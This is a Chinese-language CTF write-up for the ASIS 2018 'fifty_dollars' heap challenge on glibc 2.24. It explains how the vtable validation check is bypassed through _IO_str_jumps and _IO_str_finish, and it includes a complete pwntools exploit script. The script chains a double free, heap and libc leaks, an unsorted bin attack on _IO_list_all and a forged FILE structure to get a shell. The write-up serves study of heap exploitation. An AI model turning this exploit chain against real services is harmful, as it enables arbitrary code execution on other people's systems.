asisctf-2018-fiftyDollars-glibc2.24

上一篇的提示版本,在glibc2.24中增加了对io_fp里面vtable虚表的检查

1
2
3
4
5
6
7
8
9
10
11
12
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

增加了两个指针指向定义vtable数据段的一头一尾。这里我们没有办法再把vtable放在堆上了,当有后面检查也可以绕过,这里假设不能往堆写了vtable了,用一种新的攻击方式来讲解。既然不能用堆上任意构造的vtable,那么现有的vtable有没有办法利用呢?

这里将利用_IO_str_jumps_IO_wstr_jumps来实现str和wstr区别是一个字符占1字节,wstr是一个字符占2字节。

1
2
3
4
5
6
7
8
9
10
11
void
_IO_str_finish (fp, dummy)
_IO_FILE *fp;
int dummy;
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

INTUSE(_IO_default_finish) (fp, 0);
}

这里看到只要满足if的条件判断,就能执行fp上指向的任意地址的函数。

1
2
3
4
5
6
pwndbg> p _IO_str_jumps 
$9 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7e9cc02 <_IO_str_finish>,
__overflow = 0x7ffff7e9c8ab <__GI__IO_str_overflow>,

可以看到__finish函数指针在__overflow-0x8的位置,所以这个时候需要把vtable=_IO_str_jumps - 0x8 再来看一下_I0_buf_base这个结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct _IO_streambuf
{
struct _IO_FILE _f;
const void *_vtable;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};

(_IO_strfile *) fp)->_s._free_buffer = system即可,具体看exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
from pwn_debug.pwn_debug import *
from pwn_debug.IO_FILE_plus import *

pdbg=pwn_debug("ASIS2018-fifty_dollars")
pdbg.context.terminal=['tmux', 'splitw', '-h']
pdbg.local()
pdbg.debug("2.24")
pdbg.remote('127.0.0.1', 22)
#p=pdbg.run("local")
#p=pdbg.run("remote")
p=pdbg.run("debug")
membp=pdbg.membp
#print type(pdbg.membp)
#print pdbg.hh
#print hex(membp.elf_base),hex(membp.libc_base)
elf=pdbg.elf
libc=pdbg.libc
#a=IO_FILE_plus()
#print a
#a.show()
#print a._IO_read_base

def alloc(idx,data):
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("dex:")
p.sendline(str(idx))
p.recvuntil("Content:")
p.send(data)

def delete(idx):

p.recvuntil("choice:")
p.sendline("3")
p.recvuntil("dex:")
p.sendline(str(idx))
def show(idx):
p.recvuntil("choice:")
p.sendline("2")
p.recvuntil("dex:")
p.sendline(str(idx))

def arbitrary_write(addr,data):
delete(3)
delete(4)
delete(3)
pad=p64(0)+p64(0x61)
alloc(3,p64(addr-0x10))
alloc(4,pad*5)
alloc(3,pad*5)
alloc(0,data)

def pwn():
#pdbg.bp([0xbae])
data=(p64(0)+p64(0x61))*5
# 这个地方值得学习,用(p64(0)+p64(0x61))填满了整个可控的堆范围,这里来任意写之前就不用特意再去构造条件了
# 当然也要注意一些被重写的地方
for i in range(0,10):
alloc(i,data)

#alloc(1,"b")

# step 1 leak heap base
#fastbin 泄露heap
delete(1)
delete(0)
show(0)
heap_base=u64(p.recvuntil("Done!")[:-5].ljust(8,'\x00'))-0x60
log.info("leaking heap base: %s"%hex(heap_base))
data=p64(heap_base+0x50)

delete(1)
#第一次double free 修改size,通过unsortedbin 泄露libc
#pdbg.bp(0xb53)
alloc(1,data)
alloc(0,data)
alloc(1,data)
## step 2 build a fake unsorted bin with size of 0xb1 and leak libc addres
fake=p64(0)+p64(0xb1)
alloc(8,fake)
#pdbg.bp(0xada)
delete(1)
show(1)
libc_base=u64(p.recvuntil("Done!")[:-5].ljust(8,'\x00'))-libc.symbols['main_arena']-88
io_list_all=libc_base+libc.symbols['_IO_list_all']
binsh_addr=libc_base+next(libc.search("/bin/sh"))
io_str_jumps=libc_base+libc.symbols['_IO_str_jumps']
system_addr=libc_base+libc.symbols['system']
log.info("leaking libc base: %s"%hex(libc_base))
#构造双unsorted chunk,让0xb0放进smallbins 其实这里没有必要的为什么?
#当0xb0在unsortedbin 里面的时候,bk= _IO_list_all-0x10,一次遍历就已经被放到smallbins了
#next 处理的是 _IO_list_all-0x10出的chunk,这个时候因为size不符合条件直接malloc_printerr
#触发_overflow
arbitrary_write(heap_base+0x240,p64(0)+p64(0xa1))
delete(6)

#pdbg.bp([0xada,0xb06])

## step 3 right now there are two unsorted bin in main_arena, so we need to malloc 0xa0 chunk and put 0xb0 chunk to smallbin array

### malloc 0x60 from 0xa0 first

alloc(0,'a')
### revise the left chunk size from 0x40 to 0x60 and malloc it out.
arbitrary_write(heap_base+0x2a0,p64(0)+p64(0x61))
#pdbg.bp([0xada,0xb06])
## step 4 prepare to unsoeted bin attack

delete(7)
alloc(7,p64(0)+p64(io_list_all-0x10))
alloc(7,'0')
#这个挺有意思的,不用考虑计算偏移。
fake_file=IO_FILE_plus()
#fake_file._flags=0x1
fake_file._IO_read_ptr=0xb1
#fake_file._IO_read_base=io_list_all-0x10
#/bin/sh\x00
fake_file._IO_buf_base=binsh_addr
fake_file._IO_write_ptr=1
#特殊之处vtable指向的是io_str_jumps-8
fake_file.vtable=io_str_jumps-8
fake_file.show()
fake_file.str_finish_check()
#同时设定(_IO_strfile *) fp)->_s._free_buffer = &system
file_data=str(fake_file)+p64(system_addr)*2
## step 5 write fake file
#这几个任意写还是比较有意思的。还有一个地方需要注意这里没有特殊写_mode,_mode位于fp+0xc0
#按照前面的padding 这个地方应该是为0的,所以没有特殊处理。
arbitrary_write(heap_base+0x60,file_data[:0x50])
#pdbg.bp([0xada,0xb06])
arbitrary_write(heap_base+0x60+len(str(fake_file))-0x10,file_data[-0x20:])
#pdbg.bp(0xb06)
## step 6 trigger FSOP to get shell

p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("Index:")
p.sendline("1")
p.interactive() #get the shell
if __name__ == '__main__':
pwn()

精髓还是在布局上,这种padding的布局值得学习,统一!